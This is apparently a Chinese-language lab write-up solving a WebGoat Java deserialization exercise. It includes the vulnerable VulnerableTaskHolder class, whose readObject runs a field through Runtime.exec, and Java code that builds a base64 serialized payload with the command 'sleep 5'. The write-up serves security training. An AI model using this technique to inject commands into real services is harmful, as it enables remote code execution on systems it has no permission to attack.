0x00 前言
java 反序列化漏洞是在代码审计中经常需要留意的,正好借助这篇文章来入门一下,后面会单独写一系列的文章来探讨毕竟这块可是大头
0x01 正文
我们来看一下题目
题目的意思就是:尝试利用反序列化漏洞来让响应延迟5s
我们来看一下接口直接进行代码审计
找到如下对应代码
发现这里会对传入的参数进行一个base64解码所以我们需要先进行base64来加密我们的payload
然后下面会对传入的序列化数据进行一个反序列化过程
```Object o = ois.readObject();```
同时在if语句中会进行一个判断 o是不是 VulnerableTaskHolder类
我们跟踪过去 ,跟踪过去之后往下看发现如下这行代码(老熟人了)
该方法可以执行系统代码
Process p = Runtime.getRuntime().exec(taskAction);
但是这里webgoat做了一个if的判断限定,对传入的参数进行了一个限制,只让我们执行sleep的命令同时限制了长度
然后再来看看这个传入的参数 taskaction是否可控
发现就在构造函数当中,所以我们只需要对这个对象进行一个序列化,传入的taskaction为一个sleep 5 就可以了
这里我们创建对应package路径的java文件
ps: 经过测试 package一定要是
package org.dummy.insecure.framework;
否则在反序列化过程中,后端代码会报 javaclassnotfoundexception这个报错
代码如下
package org.dummy.insecure.framework;
import java.io.*;
import java.util.Base64;
public class Sertest1 {
public static void main(String[] args) throws IOException {
/**
* Webgoat payload
*/
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
VulnerableTaskHolder vulnerableTaskHolder = new VulnerableTaskHolder("sleep for 5secs","sleep 5");
ObjectOutputStream output = new ObjectOutputStream(byteArrayOutputStream);
output.writeObject(vulnerableTaskHolder);
String str = Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray());
System.out.println(str);
output.close();
}
}
然后 VulnerableTaskHolder
类我们只需要抄过来就可以了把没用的日志记录功能去掉即可
package org.dummy.insecure.framework;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.io.ObjectInputStream;
import java.io.Serializable;
import java.time.LocalDateTime;
public class VulnerableTaskHolder implements Serializable {
private static final long serialVersionUID = 2;
private String taskName;
private String taskAction;
private LocalDateTime requestedExecutionTime;
public VulnerableTaskHolder(String taskName, String taskAction) {
super();
this.taskName = taskName;
this.taskAction = taskAction;
this.requestedExecutionTime = LocalDateTime.now();
}
@Override
public String toString() {
return "VulnerableTaskHolder [taskName=" + taskName + ", taskAction=" + taskAction + ", requestedExecutionTime="
+ requestedExecutionTime + "]";
}
private void readObject( ObjectInputStream stream ) throws Exception {
stream.defaultReadObject();
if (requestedExecutionTime!=null &&
(requestedExecutionTime.isBefore(LocalDateTime.now().minusMinutes(10))
|| requestedExecutionTime.isAfter(LocalDateTime.now()))) {
throw new IllegalArgumentException("outdated");
}
if ((taskAction.startsWith("sleep") || taskAction.startsWith("ping"))
&& taskAction.length() < 22) {
try {
Process p = Runtime.getRuntime().exec(taskAction);
BufferedReader in = new BufferedReader(
new InputStreamReader(p.getInputStream()));
String line = null;
while ((line = in.readLine()) != null) {
}
} catch (IOException e) {
}
}
}
}
利用生成的base64 提交即可
0x02 总结以及修复建议
反序列化漏洞就是在反序列化中没有对输入的参数进行一个限制,导致攻击者可以执行恶意命令等
修复建议:对输入的数值进行严格的把控和过滤防止攻击者构造恶意参数